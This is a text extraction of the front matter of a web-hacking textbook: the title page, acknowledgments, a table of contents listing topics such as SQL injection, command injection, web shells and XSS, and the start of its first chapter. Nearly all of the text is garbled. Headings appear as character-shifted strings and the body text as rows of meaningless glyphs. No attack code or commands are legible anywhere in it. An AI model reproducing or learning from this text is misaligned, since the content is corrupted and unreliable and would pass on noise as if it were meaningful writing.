The Basics Web Hacking Book
The Basics Web Hacking Book
0
0
UJ *
0
z
>i/)
A /
THE BASICS OF
WEB HACKING
Josh Paul
1W
ȱȱȱȱ
7RROVDQG7HFKQLTXHVWR$WWDFNWKH:HE
ȱ
ȱǰȱȱ
-
AMSTERDAM * BOSTON * HEIDELBERG * LONDON
NEW YORK * OXFORD PARIS * SAN DIEGO
SAN EKANaSGO ‘SINGAPORE* SYDNEY •TOKYO
ȱ
ȱ
¢
+RQH\%HDU
/L]DUG
%DE\%LUG
)DPLO\$QG)ULHQGV
6HFXULW\&RPPXQLW\
6FRWW:KLWH²7HFKQLFDO5HYLHZHU
6\QJUHVV7HDP
0\9LFHV
¢
$ERXW7KLV%RRN
$+DQGV2Q$SSURDFK
:KDW
V,Q7KLV%RRN"
$4XLFN'LVFODLPHU
ȱŗǯȱȱȱȱȱ
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
:KDW,V$:HE$SSOLFDWLRQ"
:KDW<RX1HHG7R.QRZ$ERXW:HE6HUYHUV
:KDW<RX1HHG7R.QRZ$ERXW+773
7KH%DVLFV2I:HE+DFNLQJ2XU$SSURDFK
:HE$SSV7RXFK(YHU\3DUW2I,7
([LVWLQJ0HWKRGRORJLHV
0RVW&RPPRQ:HE9XOQHUDELOLWLHV
6HWWLQJ8S$7HVW(QYLURQPHQW
ȱŘǯȱȱȱ
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
5HFRQQDLVVDQFH
3RUW6FDQQLQJ
9XOQHUDELOLW\6FDQQLQJ
([SORLWDWLRQ
0DLQWDLQLQJ$FFHVV
ȱřǯȱȱȱȱȱ
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
:HE$SSOLFDWLRQ5HFRQ
:HE$SSOLFDWLRQ6FDQQLQJ
ȱŚǯȱȱȱ¡ȱ ȱ
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
64/,QMHFWLRQ9XOQHUDELOLWLHV
64/,QMHFWLRQ$WWDFNV
6TOPDS
2SHUDWLQJ6\VWHP&RPPDQG,QMHFWLRQ9XOQHUDELOLWLHV
2SHUDWLQJ6\VWHP&RPPDQG,QMHFWLRQ$WWDFNV
:HE6KHOOV
ȱśǯȱȱȱ¡ȱ ȱȱȱȱȱ
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
$XWKHQWLFDWLRQ$QG6HVVLRQ9XOQHUDELOLWLHV
3DWK7UDYHUVDO9XOQHUDELOLWLHV
%UXWH)RUFH$XWKHQWLFDWLRQ$WWDFNV
6HVVLRQ$WWDFNV
3DWK7UDYHUVDO$WWDFNV
ȱŜǯȱȱȱ
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
7HFKQLFDO6RFLDO(QJLQHHULQJ9XOQHUDELOLWLHV
:HE8VHU5HFRQ
:HE8VHU6FDQQLQJ
:HE8VHU([SORLWDWLRQ
5HIOHFWHG;66$WWDFNV
6WRUHG;66$WWDFNV
8VHU$WWDFN)UDPHZRUNV
ȱŝǯȱ¡
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
:HE6HUYHU)L[HV
:HE$SSOLFDWLRQ)L[HV
:HE8VHU)L[HV
ȱŞǯȱ¡ȱ
&KDSWHU5XQGRZQ
,QWURGXFWLRQ
6HFXULW\&RPPXQLW\*URXSV$QG(YHQWV
)RUPDO(GXFDWLRQ
&HUWLILFDWLRQV
$GGLWLRQDO%RRNV
¡
¢
ȱDZȱȱ
ȱȱDZȱȱ
ȱDZȱ¢ȱ
DZȱȱ
¢ȱȱȱȱȱ
ŘŘśȱ¢ȱǰȱǰȱȱŖŘŚśŗǰȱ
¢ȱȚȱŘŖŗřȱǰȱǯȱȱȱǯ
ȱȱȱȱȱ¢ȱȱȱȱȱȱ¢ȱȱȱ¢ȱ¢
ǰȱȱȱǰȱȱ¢ǰȱǰȱȱ¢ȱ
ȱȱȱ¢ǰȱ ȱȱȱ ȱȱȱǯȱ
ȱ ȱȱȱǰȱȱȱȱȱȂȱ
ȱȱȱȱ ȱ£ȱȱȱȱ¢ȱ
ȱȱȱ¢ȱȱ¢ǰȱȱȱȱȱȱ DZ
ǯǯȦǯ
ȱȱȱȱȱȱȱȱȱȱȱȱ¢
¢ȱȱȱǻȱȱȱ¢ȱȱȱǼǯ
ȱȱȱȱȱȱȱȱ¢ȱǯȱȱ
ȱȱ¡ȱȱȱǰȱȱȱ
ȱȱȱǰȱ¢ȱȱ¢ǯȱȱ
ȱȱ ¢ȱ¢ȱȱȱ ȱ¡ȱȱ ȱ
ȱȱȱ¢ȱȱȱȱȱǯȱȱ
ȱȱȱȱ¢ȱȱȱȱȱȱ ȱ¢ȱ
ȱ¢ȱȱǰȱȱȱȱ ȱ¢ȱȱȱ
¢ǯ
ȱȱȱ¡ȱȱȱ ǰȱȱȱȱȱȱǰ
ǰȱȱǰȱȱ¢ȱ¢ȱȱ¢ȱ¢ȱȦȱȱ
ȱȱ¢ȱȱȱȱȱȱ¢ǰȱȱȱ ǰ
ȱȱ¢ȱȱȱȱȱ¢ȱǰȱǰȱǰȱȱ
ȱȱȱȱǯ
¢ȱȱȱȬȬȱ
ǰȱȱǯ
ȱȱȱ ȱȱDZȱȱȱȱȱȱȱȱȦȱȱǯ
ȱ
ȱȱȱȱ¡ǯ
ȱşŝŞȬŖȬŗŘȬŚŗŜŜŖŖȬŚ
ŗǯȱȱȮ¢ȱǯȱŘǯȱȱȮ¢ȱǯȱřǯȱ
Ȯ¢ȱǯȱŚǯȱȱȱǻȱ¢Ǽȱśǯȱ
ǯȱŜǯȱȱȮǯȱǯȱǯ
śŗŖśǯśşǯřŞśȱŘŖŗř
ŖŖśǯŞȮŘř
ŘŖŗřŖŗŝŘŚŖ
ȱ¢ȱȬȬȱ
ȱȱȱȱȱȱȱȱȱȱȱ¢ǯ
DZȱşŝŞȬŖȬŗŘȬŚŗŜŜŖŖȬŚ
ȱȱȱȱȱȱ
ŗřȱŗŚȱŗśȱȱŗŖȱşȱŞȱŝȱŜȱśȱŚȱřȱŘȱŗ
ȱȱȱȱ¢ȱǰȱȱȱ ȱȱ ǯ¢ǯǯ
ȱȱȱȱȱ¢ȱ¢ȱ ǰȱǰȱȱ¢ȱ ȱ
ǰȱ£ȱȱǯȱȱȱ¢ȱȱ¢ȱǯ
+RQH\%HDU
ȱ¢ȱ ǰȱ DZȱȂȱȱȱȱ ¢ȱȱȱȱȱ¡ȱ
¢ǷȱȱȱȱĴȱȱȱ ȱȱǰȱ¢ȱȱȱĴȱ
ȱ ȱǰȱȱ¢ȱȱȱĴȱ ȱȱȱȱ¢ȱȱ¢
ȱȱȱȱ¢ȱȱǯ
/L]DUG
ȱ¢ȱȱǰȱ£DZȱȱ ȱǰȱĴȱȱǰȱȱȱȱȱ
ȱȱȱǯȱ Ȃȱȱ ȱȱȱȱ¢ȱȱ¢ȱȱȱ¢ȱ¡
ǰȱȱȱȱȱȱ¢ȱ ȱȱ ȱ¢ȱǷ
%DE\%LUG
ȱ¢ȱ¢ȱǰȱDZȱȱȱȱ¢ȱȱ ¢ȱȱȱȱ
ȱȱ£ȱ ȱȱ ȱȱǯȱ ȱȱȬȱȱ Ȃȱ ȱ¢ȱ ǰ
ȱ¡ȱȱ¢¢ȱȱǵȱ
ȱǰȱ¢ǰȱȱȱ¢ȯ Ȃ
ȱȱȱȱ ¢Ƿ
)DPLO\DQG)ULHQGV
ȱȱȱǰȱǰȱ
ǰȱ ¢ȱǭȱ ǰȱȱǭȱ¢ǰȱ ǰȱ ǯȱǰȱ
¢ȱ ȱ ǰȱ ȱ ¢¢ȱ ȱ ȱ Ȃȱ ¢ȱ Ĵȱ ȱ ȱ
ȱȱǯȱǷ
ȱȱȱȱȱ ǯȱȱǰȱȱȱȱȱǰȱȱ Ȃ
ȱ¢ȱǰȱȱǰȱǰȱȱǰȱȱĜȱȱ ǯȱȱ
ȱȱȱȱȱȱȱȱǯȱȱ ǰȱȱ¢Ƿ
ǰȱ ȱ ¢ȱ ǰȱ ǯȱ ¢ȱ ȱ ǯȱ ¢ȱ DZȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ¢ȱǰȱęȱ¢ȱȱȱȱǰȱȱȱ ȱȱȱ¢ȱĴ
ȱ ę¢ȱ ȱ ěǷȱ ǻȱ ěȱ ȱ ȱ ȱ ȱ ŗşŞŖȱ ȱ Ȃȱ ȱ ȱ ȱ
Ȃȱ ȱ ȱ ȱ ȱ ǯǼȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
Ȃȱȱȱȱǯ
6HFXULW\&RPPXQLW\
ǰȱ ȱȱǯȱ ȱȂȱĴȱȱ¢Ȃȱȱȱǰȱȱȱřřȱǰ
ȱ¢ ȱȱ ǰȱ¢Ȃȱ ¢ȱ ȱȱ¢Ȃȱ ȱȱȱȱ¡ǯȱ
ȱ ȱ ȱ ¢ǰȱ ȱ ȱ ¢ȱ ȱ ȱ ȃȱ ȱ ȱ ¢ȄDZȱ ȱ
ȱȱ¢ȱȱ¢ȱȱȱ¢ȱȱȱȱȱȱ ȱȱȱǯ
ŶȱȱǯȱȱDZȱȂȱȱȱȱȱȱȦ¡ȱȱȱ
ǰȱȱȱȱȱ¢ȱȱȱǯȱȱȱ¢ȱȱȱ ȱ
¢ȱȱȱȱȱȃȱȄȱȱȱȱ¢ǰȱȱȱ¢Ȃ
ȱȱȱȱȱȱȱȱȱǯ
Ŷȱȱȱ
¢DZȱ
ǷȱȂȱȱȱȱȱȱ¢ȱȱ
Ȃȱȱȱǯȱȱȱȱȱ¢ȱȱ ǰȱǰȱǰȱ
ȱȱȱ ȱȱ¢ȱ¢ȱȱ ȱȱȱȱǯȱȂȱȱ
ȱȱȱȱȱ ȱȱ¢ȱȱ¢ȱȱ ȱ¢ȱȱ
ǯȱȱ
Ƿ
ŶȱȱȱDZȱȱ ȱȱȱ ȱȱ ȱȱ¢ȱȱȱȱȬȱ
ȱȱȱ¢ȱȱȱǯȱȱȱ¢ȱȱȱ ǰ
ǰȱȱȱȱȱ¢ȱȱȱȱȱȂȱ¢ȱȱ¢
ȱȱȱǯȱȱȱ ¢ȱȱȱȱȱȱȱǰ
ǰȱȱȱ¢ȱȱȱ ȱȱǷ
Ŷȱȱ¢ȱDZȱȱȱ¢ȱȱȱȱǷȱȱȱȱ
Ȃȱ
ǻ
Ǽȱȱ¢ȱȱ ȱȱȱ ȱȱȱȱȱȱ¢
ȱȱȱ¢ȱȱǯȱȱȱ¢ȱǰȱȱȱȱ
ȱȱŘȱȱȱ
ǰȱȱ¢ȱȱȱ ȱȱȱ
¡¢ǰȱȱ¡ȱȱȬȱ ȱ¢ǰȱȂȱ¢ȱȱȱ¢Ȃ
ȱ ȱȱ ȱȱ¢ǯȱȂȱȱȱŚŖŖȱȱ
ȱȱȱȱȱȱ¢ȱȱȱȱȱȱȬȱȱ¢ȱ
¢ǯ
6FRWW:KLWH²7HFKQLFDO5HYLHZHU
ȱȱȱȱ Ĵȱȱȱȱȱȱȱ ȱȱȱ
¢ȱ ǯȱ ȱ ȱ ȱ ěȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǰȱ
¢ȱ ȱ ¢ȱ ¡ǰȱ ǰȱ ȱ ȱ ǯȱ ȱ ȱ ȱ
ȱȱȱ¢ȱ Ƿ
6\QJUHVV7HDP
ȱȱȱęȱȱȱ ¢ȱȱȱȱȱȱȱȱȱȱȱ
ȱ ȱ ǰȱ ǰȱ ȱ ȱ ȱ ȱ Ȭ¢ȱ ǯȱ ¢ǰȱ
ȱ ȱ ȱ ȯ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱȱ ¢ȱȱ£ȱȱǯ
0\9LFHV
ȱȱȱǰȱ Ȃȱȱȱȱǰȱȱ ǰȱ
řŘȱȱȱ
ȱ ȱ ȱ ȱ ǻ¢ȱ ȓ ¢ȱ ȱ Ĵ¢ȱ £Ǽǰȱ ¢Ȃȱ
ǰȱ¢ȱǰȱǰȱȱ¢ȱŜȬȱȱȱȱǯ
¢
ǯȱ ȱ ȱ ȱ ȱ ǯ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱǻ Ǽȱȱ ȱȱȱȱȱȱȱ¢ȱ¢ȱȱ
ȱ ¢ȱ ǻ Ǽȱ ȱ ǰȱ ǯȱ ǯȱ ȱ ȱ ȱ ¢ȱ řŖȱ
ȱȱȱȱȱȱ ȱ¢ȱȱȱ ȱȱ
ȱȱ ǰȱȱ
ǰȱȱȱ ȱ ¢ȱ ¢ǯȱ
ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ǯȱ ǯȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱ¢ȱȱęǯȱȱȱȱȱ ȱ
ȱ Ĵȱ ¢ȱ ȱ ȓ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ǯǯǯȦǯ
ȱȱȱȱȱȱȱȱ¡ȱȱȱȱǯȱȱ¢ȱ
ǰȱ ǰȱ ȱ ȱ £ȱ ȱ ȱ ȱ ȱ ǰȱ ¡ȱ
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ǯȱ ȱ ¢Ȃ
ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ǯȱ ȱ ¢Ȃȱ ǰȱ
ȱȱ¢ȱȱȱȱȱ¡ȱȱȱȱȱȱǯȱ
ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ¢ȱ ȱ Ĵǯȱ ǰ
ȱȱȱȱȱȱȱȱ ȱȱ¢ȱȱ
ȱǯ
ȱ ȱ ȱ ǰȱ ȱ Ȭęȱ £ȱ ȱ ȱ ȱ
ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ
¢ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ Ĵȱ ȱ ¡
ȱȱȱȱȱ ȱȱȱ¢ǯȱ ȱȱ
Ȃȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ¡ǯȱ ȱ ¢ȱ ȱ
ȱȱ ȱȱǯ
¢ǰȱȱȱȱ ȱȱ¢ȱȱȱȱ¢ȱȱȱǯ
ȱȱȱęȱȱȱȱȱȱȱ ȱȱĴǰȱ
ȱȱěȱȱǻȱȱ¡ȱȱȱĚ Ǽȱȱȱȱȱȱǻ
ȱ ȱ ȱ ȱ ȱ ȱ ęȱ Ǽǯȱ ȱ ¢Ȃȱ ¢ȱ ȱ ȱ ȱ ǰ
ȱ ȱ ȱ ȱ ¢ȱ ǯȱ ȱ ȱ ¡ȱ ǰȱ ȱ ȱ ȱ ¢ȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ęȱ ȱ ¡ȱ ȱ ȱ
¢Ȃȱǯȱ ȱ¢ȱȱȱȱȱȱȱ ȱǰȱȱ ȱȱ¢
¢ȱȱȱĴȱȱ¢ȱ ȱȱȱ¢ȱȱȱȱȱ
¢ȱ ȱȱȱȱȱǯ
¢ȱ
ȱȱȱ
ȱȱȱȱȱ
Ȃȱ
¢ȱȱȱ¢ȱȱ ȱȱȱȱ¢ȱȱȱ¢ȱǰȱ ȱȱ ǰȱ
ǰȱ ȱ ȱ ¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ǰ
ǰȱȱȱǯȱȱȱȱ ȱȱȱǰȱǰȱ¢ȱǰȱĴ
ȱǰȱȱ ȱ ȱȱȱ¢ǰȱȱȱȱǯȱ
ȱȱȱ ȱȱȂȱȱȱȱ Ȃȱȱȱǰȱȱȱȱ
ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ ǯȱ ȱ ǰȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱǯ
ȱȱ ȱȱ¢ȱ ȱȱȱ ȱȱȱ ȱ¢ȱȱȱȱ
ȱĴǯȱ ȱ ȱ ȱ¢ȱȱȱ¢ǰȱǰȱȱȱȱȱ¢
ȱ¡ȱȱȱȱ ȱȱȱȱȱ ȱǯ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱǰȱȱȱȱȱȱȱȱǰȱ¢ȱ
ȱ ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ǯȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ǰ
ȱ ȱ ȱ ȱ Ĵǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ
ȱȱȱǯ
$ERXW7KLV%RRN
ȱȱȱȱȱȱ¢ȱȱȱȱ ȱȱȱȱȱǯ
Ȃȱȱȱȱ¢ȱȱȱĴȱȱ ȱ ȱȱȱȂȱȱ
ȱ ǯȱ ¢ǰȱ ȱ ¢Ȃȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ¢Ƿȱ
ȱȱ¢ȱȱȱȱ ȱȱȱ ȱǯȱȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ Ȃȱ ¢ȱ ȱ ȱ ȱ
¢ȱȱȱȱȱȱȱ ȱǯ
ȱ ȱ ȱ ¡ȱ ȱ ȱ ęȱ ȱ ȱ ǰȱ ¢¢ǰȱ
ǰȱ¡ȱǰȱȱ¢ǰȱȱ¡ǰȱ ȱ ȱĜ
ǰȱ ȱ ȱ ǯȱ ȱ ¢ȱ Ȃȱ ȱ ȱ ǰȱ Ȃȱ ȱ Ƿȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ¢Ȃȱ
Ĵȱȱ ȱ ȱǰȱ¢ȱ¢ȱ Ȃȱȱȱȱȱǯȱȱ
ȱȱ¢ȱȱ¢ǰȱǰȱȱȱȱȱȱȱȱȱ
Ĵȱȱȱȱ ȱǯȱȱ ȱȱȱ¢ȱ ȱȱ
ȱȱȱȱȱȱȱȱ¡ȱ ȱȱȱȱǯ
$+DQGV2Q$SSURDFK
ȱȱ ȱȱ¢ȱȬȱȱȱȱȱȱȱǯ
¢ȱȱ ȱȱȱ ȱȱȱ¢ȱ ȱȱ ¢ȱȱȱĴ
ȱȱȬ¢Ȭȱȱȱȱ¢ȱ ȱȱ ȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ DZȱ ȱ ȱ ǰȱ ȱ
ǰȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ěȱ ǰȱ ȱ
ȱ ȱ ȱ ěȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ǯȱ Ȃȱ ¡¢ȱ
ȱȱ ȱDzȱȱȱ ȱȱěȱĴȱȱ¡ȱȱȂ
ǯ
:KDW
VLQ7KLV%RRN"
ȱȱȱȱ ȱDZ
ȱ ŗDZȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ ȱȱȬȱȱȱȱȱǯ
ȱŘDZȱȱ ȱ
ȱȱȱ ȱȱȱ
ȱȱ¢ȱȱȱ ȱȱȱȱ¢ȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ
ǯȱȱȱǰȱǰȱǰȱȱǯ
ȱřDZȱȱ ȱȱȱ ȱȱǰȱȱȱ ȱ¡
ȱȱǰȱ ȱȱȱȱȱ¢ȱȱ¡ȱȱȱ ȱȱ¢
ęȱ¡ȱǯȱȱȱȱ ȱǻ ȱȱ Ǽȱȱ
ȱ¡¢ȱǻǼǯ
ȱŚDZȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ¢ǰȱ ǰȱ
ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ¢
ȱǰȱȱ ȱǯȱȱȱȱ ȱǻę¢ȱȱ
ȱ ȱ ȱ ȱ ¡¢ȱ ȱ ȱ ȱ Ǽǰȱ ǰȱ ȱ ȱ ȱ ǻ Ǽ
ȱ ȱȱǰȱȱǯ
ȱ śDZȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ
ȱȱȱ¢ǰȱǰȱȱȱȱȱ¡ȱ ȱȱ
ȱ ȱ ǰȱ ȱ Ĵǰȱ ȱ ȱ ǯȱ ȱ ȱ ȱ
ǻ ȱ ȱ Ǽȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ǯ
ȱŜDZȱȱȱ
ȱȱȱ¢ǰȱǰȱȱȱȱȱ¡
ȱ ȱ ȱ ¢ȱ ¡ȱ ȱ ȱ Ȭȱ ȱ ǻ Ǽȱ ȱ Ȭ
ȱ ¢ȱ ǻ Ǽȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ¡ȱ
ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ Ȃ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭ
ȱȱǻǼǯ
ȱ ŝDZȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ Ĵ
ȱȱȱǯȱȱȱȱ¢Ȭǰȱȱȱȱȱȱ¢
ȱȱǰȱȱȱȱ ȱȱȱȱȱȱȱ¢ȱ
ȱ ȱ¢ȱȱȱȱǯ
ȱ ŞDZȱ ¡ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ęȱ ȱ ȱ
ȱ ȱ ¢ȱ ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ǰȱ ȱ ȱ ¢
ȱȱ ȱ ȱęȱȱ¢ȱȱȱȱ¢ȱȱ¢ȱ ǯȱ
ȱȱȱȱȱȱȱȱȱǯ
$4XLFN'LVFODLPHU
ȱȱȱȱȱȱȱȱ¢ȱ ȱȱȱ ȱǰȱ ȱǰȱ
ȱ Dzȱ ȱ ȱ ȱ ĴDzȱ ȱ ¢ȱ ȱ ¢ȱ
ȱ ȱ ȱȱ¢ȱǯȱ ȱȱȱ ǰȱȱȱ ȱ ȱȱȱ
ȱȱȱȱȱȱȱȱǯȱȱȱȂȱȱȱǰ
ȱȱ ȱȱȱȱ¢ȱȱDZ
ȱȱ¢ȱǯ
Ȃȱȱȱǯ
Ȃȱȱȱȱȱ¢ȱȱ ȱǯ
¢ȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱȱǯ
ȱ ¢ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ
ȱȱȱȱȱȱ¢ȱȱȱȱ ǯȱ ȱ ¢
ǻȱȂȱǼȱȱ ȱȱȱȱȱȱȱ¢ȱǯȱ ȱ¢ȱ
ȱ ȇȱ ȱ ȱ ȱ ȱ ȱ ǰȱ Ȃȱ ȱ ¢ȱ ȱ
ȱ¢ȱȱ ȱȱ¢ȱȱ¢ȱȱǷ
& + $3 7 ( 5
ȱȱȱȱ
&KDSWHU5XQGRZQ
Ŷȱȱ¢ȱȱȱ ȱȱ ȱȱȱȱ
ȱ
Ŷȱȱȱȱȱ
DZȱȱ
Ŷȱȱ ȱDZȱ¢ȱȱȱ ȱ
Ŷȱȱȱȱȱȱȱȱ¢ȱȂȱȱȱ
,QWURGXFWLRQ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ
ęȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¡ȱ ȱ ǯȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ ȱ ¢ȱ ¢ȱ ȱ ¢ȱ ǰȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¢
ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱ ȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȃȱ ȱ Ȅȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ŗŖȱ ¢
ȱȱǯ
Ȃȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ǰȱ ȃȂȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ǷȄȱ ȱ ȱ ȱ Ȭ¢Ȭȱ ȱ ȱ ȱ
¡ȱ ǻȱ Ǽȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱ¡ǯ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǰȱ ȱ
¢ȱȱȱǰȱ ǰȱȱȱȱ¢ȱǯȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ę ȱ ȱ ȱ ȱ ¢ȱ
ȱȱ ȱ¢ǯȱ
ǰȱȱȱȱĴȱȱȱȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ǯȱ ȱ ȱ ǰȱ ȱ ȱ
Ĵȱȱ ȱȱȱ¢ȱȱ ȱȱȱȱ¢ǰȱ
ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ę ȱ ȱ ȱ
ǯ
ȱ ȱ ȱ ȱ ȱ ¢ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ǰȱ ȱ ȱ ǰȱ ¢Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ £ȱ ȱ ęȱ ȱ ¢
ȱ ȱ ȱ £ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
£ȱȱȱ¢ȱȱȱȱȱ¢ǰȱȱȱ
ȱ ȱ ȱ ¢ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ ȱ ¢ǰȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ¡ȱ ¢ȱ ¢ȱ
ȱȱǯ
ǰȱȱȱ¢ȱȱȱ ȱȱȱȱȱȱȱ
ǰȱȱȱȱȱȱDzȱȱȱ ȱȱ ȱǯȱ
ȱ ¢ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȬȬȱĴȱȱȱ ȱȱǯȱ ȱȱȂȱ¢
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢Ȭȱ ȱ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ę ǯȱ Ĵȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ě¢ȱ¢ȱ¢ȱȱȱȱȱȱȱȱŗŖȱƸȱ¢ȱȱ
ȱ ȱǯ
ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ¡ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱĴȱȱ ȱǯȱȱȱ ȱȱ
ȱȱȱĴȱ¡ȱȱȱ ȱǰȱ ȱǰȱȱ ȱǯȱ
ȱ¢ȱȱ ȱȱĴȱȱȱȱ ȱȱȱȱȱ
ȱȱǯȱȂȱȱǷ
:KDW,VD:HE$SSOLFDWLRQ"
ȱ ȱ ȃ ȱ Ȅȱ ȱ ěȱ ȱ ȱ ěȱ ǯȱ ȱ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ¡ǰȱ ěȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǰȱ ȱǰȱ Ȭȱ¢ǰȱ Ȭȱ ȱȱ¢ȱȱȱȱ¢
ȱȱȱǯȱȱ ȱȱȱ ȱȱ¢ȱȱ
ȱ ȱ ¢ȱ ěȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ǰȱ ȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ Ȭȱ ȱ ȱ ȱ ȱ ǻ¢Ǽ
ȱȱȱȱȱ¢ȱȱ ȱȱ¢ǯȱȱȱȱ
ȱȱ ȱȱȱȱȱǰȱȱȱȱȱȱȱȱǰȱȂȱ
ȱǯ
¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ Ĵ
ȱǻȱ¢ȱǼȱȱ ȱǯȱ ȱȱȱȱȱ ȱ
